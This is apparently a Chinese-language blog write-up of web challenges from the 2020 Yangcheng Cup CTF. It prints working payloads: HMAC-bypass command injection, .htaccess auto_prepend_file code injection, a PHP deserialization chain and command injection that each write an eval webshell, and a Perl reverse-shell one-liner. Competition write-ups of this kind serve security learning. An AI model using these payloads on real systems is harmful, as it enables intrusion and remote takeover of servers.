2020年「羊城杯」网络安全大赛

2020-09-12 18:09:00
ctf - 羊城杯

easycon

简单题,连上马儿后发现目录下有个bbb的txt文件,解码base64后的图片就是flag了。

BlackCat

view-source:http://183.129.189.60:10022/Hei_Mao_Jing_Chang.mp3

拉到最底下有源码:

if(empty($_POST['Black-Cat-Sheriff']) || empty($_POST['One-ear'])){
    die('Ë­£¡¾¹¸Ò²ÈÎÒÒ»Ö»¶úµÄβ°Í£¡');
}

$clandestine = getenv("clandestine");

if(isset($_POST['White-cat-monitor']))
    $clandestine = hash_hmac('sha256', $_POST['White-cat-monitor'], $clandestine);


$hh = hash_hmac('sha256', $_POST['One-ear'], $clandestine);

if($hh !== $_POST['Black-Cat-Sheriff']){
    die('ÓÐÒâÃé×¼£¬ÎÞÒâ»÷·¢£¬ÄãµÄÃÎÏë¾ÍÊÇÄãÒªÃé×¼µÄÄ¿±ê¡£ÏàÐÅ×Ô¼º£¬Äã¾ÍÊÇÄÇ¿ÅÉäÖаÐÐĵÄ×Óµ¯¡£');
}

echo exec("nc".$_POST['One-ear']);

原题:https://neversecure.ca/category/bug-hunting/

paylaod:

Black-Cat-Sheriff=04b13fc0dff07413856e54695eb6a763878cd1934c503784fe6e24b7e8cdb1b6&One-ear=%3Bcat+flag.php&White-cat-monitor[]=1a

先是跟数组White-cat-monitor加密,得到的是NULL,我们在本地将需要的命令与NULL进行加密即可得到hash串,传给Black-Cat-Sheriff,而One-ear就是我们加密的命令了。

easyphp

  • 原题X-NUCA‘2019 ——Ezphp
  • 我们从代码的最后一行可见最后会强行拼接进来一个"\nHello World"导致.hatccess无法解析500错误。所以使用反斜杠可以将\n转义为普通字符后使用#注释使得.hatccess能够成功解析。
  • 绕过stristr()检测同样使用“\"作为换行直接绕过该函数的关键字检测。

  • .hatccess包含进所以php文件。

php_value auto_prepend_file .htaccess
  • 综上构造payload:
php_value auto_prepend_fil\ 
e .htaccess 
#<?php phpinfo();?>\ 
  • EXP
?content=php_value auto_prepend_fil\%0Ae .htaccess%0A%23<?php system('cat /fla'.'g');?>\&filename=.htaccess

easyser

robots.txt下有个/star1.php/,访问之。

看源码:

<!--  小胖说用个不安全的协议从我家才能进ser.php呢!  !-->

http咯,加上沙箱路径访问得到源码:

<?php
error_reporting(0);
if ( $_SERVER['REMOTE_ADDR'] == "127.0.0.1" ) {
    highlight_file(__FILE__);
} 
$flag='{Trump_:"fake_news!"}';

class GWHT{
    public $hero;
    public function __construct(){
        $this->hero = new Yasuo;
    }
    public function __toString(){
        if (isset($this->hero)){
            return $this->hero->hasaki();
        }else{
            return "You don't look very happy";
        }
    }
}
class Yongen{ //flag.php
    public $file;
    public $text;
    public function __construct($file='',$text='') {
        $this -> file = $file;
        $this -> text = $text;

    }
    public function hasaki(){
        $d   = '<?php die("nononon");?>';
        $a= $d. $this->text;
         @file_put_contents($this-> file,$a);
    }
}
class Yasuo{
    public function hasaki(){
        return "I'm the best happy windy man";
    }
}/*$c=$_GET['c'];
echo $x=unserialize($c);*/

?>

给了hint是说反序列化点之star1。

这个链比较简单,需要绕过die,base64绕一下:

<?php
class GWHT{
    public $hero;
}

class Yongen{ //flag.php

    public $file = "php://filter/convert.base64-decode/resource=aaa.php";
    public $text = "aaaPD9waHAgZXZhbCgkX1BPU1Rbc10pOyAgPz4=";
}

$a = new GWHT;
$a->hero = new Yongen;
echo urlencode(serialize($a));

base64补3个a到16个字符,flag有点坑放在根目录了。

EasyPHP2

看了wp发现算不上提权,最后一步很简单,就简单描述一下:

前面读文件可以采用其他过滤器或者直接二次编码base读(当时是用了其他过滤器读的):

php://filter/convert.%6%32ase64-encode/resource=GWHT.php

读到:

system("printf $count | wc -c");

大概是这么一段代码,绕过很简单就是引号阔住前后执行:

count='|echo "<?= eval(\$_POST['shell'])?>" > a.php'

当时没留意$所以导致post一直写不了,所以是直接写结果到txt文件里面,后面又知道了也可以嵌套rce写马,看wp才知道是$的问题。

当时是采用反引号来执行命令的:

count='`ls>hhhm.txt`'

在/GWHT文件下有个readme,里面放了gwht用户的密码hash值,直接拿去解码能得到:

GWHTCTF

直接就能看flag了。

printf "GWHTCTF" | su - GWHT -c 'cat /GWHT/system/of/a/down/flag.txt'

或者php弹个shell:

system('perl -e \'use Socket;$i="ip";$p=端口;socket(S,PF_INET,SOCK_STREAM,getprotobyna me("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))) {open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh - i");};\'');

A piece of java

JDBC反序列化。

占坑,等源码复现

break the wall

uaf。

占坑,看起来就要花不少时间学。



本文原创于HhhM的博客,转载请标明出处。



CopyRight © 2019 HhhM
Power By Django & Bootstrap
已运行
粤ICP备19064649号